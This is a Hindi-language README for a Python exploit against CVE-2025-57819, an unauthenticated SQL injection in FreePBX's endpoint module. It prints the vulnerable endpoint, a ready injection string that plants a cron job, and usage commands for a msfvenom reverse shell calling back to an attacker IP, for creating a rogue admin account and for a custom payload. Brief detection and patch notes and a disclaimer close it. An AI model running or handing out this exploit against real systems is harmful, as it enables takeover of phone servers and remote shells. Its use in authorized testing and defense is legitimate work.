
FreePBX बिना प्रमाणीकरण के SQLi से RCE तक (CVE-2025-57819) — एकीकृत एक्सप्लॉइट
CVE-2025-57819 के लिए एक ऑल-इन-वन एक्सप्लॉइट, FreePBX के एंडपॉइंट मॉड्यूल में एक अप्रमाणित SQL इंजेक्शन जो क्रॉन जॉब इंजेक्शन के माध्यम से दूरस्थ कोड निष्पादन की ओर ले जाता है।
FreePBX admin/ajax.php?module=FreePBX\modules\endpoint\ajax एंडपॉइंट को प्रमाणीकरण की आवश्यकता के बिना उजागर करता है (CWE-288)। brand पैरामीटर को बिना सैनिटाइज़ेशन के सीधे SQL क्वेरी में डाला जाता है (CWE-89), जिससे हमलावर asterisk डेटाबेस में मनमाने SQL स्टेटमेंट इंजेक्ट कर सकता है।
[अप्रमाणित HTTP अनुरोध]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
`cron_jobs` तालिका में SQL इंजेक्शन
(हमलावर-नियंत्रित कमांड के साथ INSERT, अनुसूची="* * * * *")
│
▼
लगभग 60 सेकंड के भीतर, क्रॉन डेमॉन `asterisk` उपयोगकर्ता के रूप में कमांड निष्पादित करता है
│
▼
दूरस्थ कोड निष्पादन
यह एक्सप्लॉइट तीन मोड का समर्थन करता है:
msfvenom के माध्यम से एक linux/x64/shell_reverse_tcp बाइनरी उत्पन्न करता हैpython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
उदाहरण:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
यह रिवर्स शेल के लिए पोर्ट 4452 और HTTP स्टेज सर्वर के लिए 4453 का उपयोग करता है।
--create-user)SQLi के माध्यम से एक नया FreePBX व्यवस्थापक खाता बनाता है। कोई रिवर्स शेल नहीं, कोई रीचबैक नहीं, किसी बाइनरी की आवश्यकता नहीं।
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)msfvenom के साथ उत्पन्न करने के बजाय अपना स्वयं का ELF बाइनरी का उपयोग करें।
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests लाइब्रेरी (pip install requests)msfvenom) या --payload के साथ एक कस्टम पेलोड--create-user मोड के लिए: Python + requests के अलावा कुछ नहींअसुरक्षित एंडपॉइंट है:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
brand पैरामीटर को बिना सैनिटाइज़ेशन के SQL INSERT में जोड़ा जाता है।
एक्सप्लॉइट इंजेक्शन को इस प्रकार तैयार करता है:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
अंत में -- मूल क्वेरी के शेष भाग को टिप्पणी के रूप में निष्क्रिय कर देता है।
FreePBX Asterisk क्रॉन सबसिस्टम का उपयोग करता है। क्रॉन जॉब्स हर मिनट जाँची जाती हैं। जब डाली गई जॉब का शेड्यूल (* * * * *) मेल खाता है, तो कमांड asterisk सिस्टम उपयोगकर्ता के रूप में चलती है।
सत्र समाप्त होने (या टाइमआउट) के बाद, एक्सप्लॉइट इंजेक्ट की गई क्रॉन जॉब को cron_jobs से हटाने के लिए DELETE SQLi भेजता है।
asterisk.cron_jobs में यादृच्छिक मॉड्यूल/जॉब नामों के साथ अनपेक्षित प्रविष्टियाँasterisk उपयोगकर्ता से रिवर्स शेल कनेक्शनampusers में यादृच्छिक नए व्यवस्थापक खाते (यदि --create-user मोड)एंडपॉइंट मॉड्यूल को पैच किए गए संस्करणों में अपडेट करें:
यह सॉफ्टवेयर केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है, अवैध है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।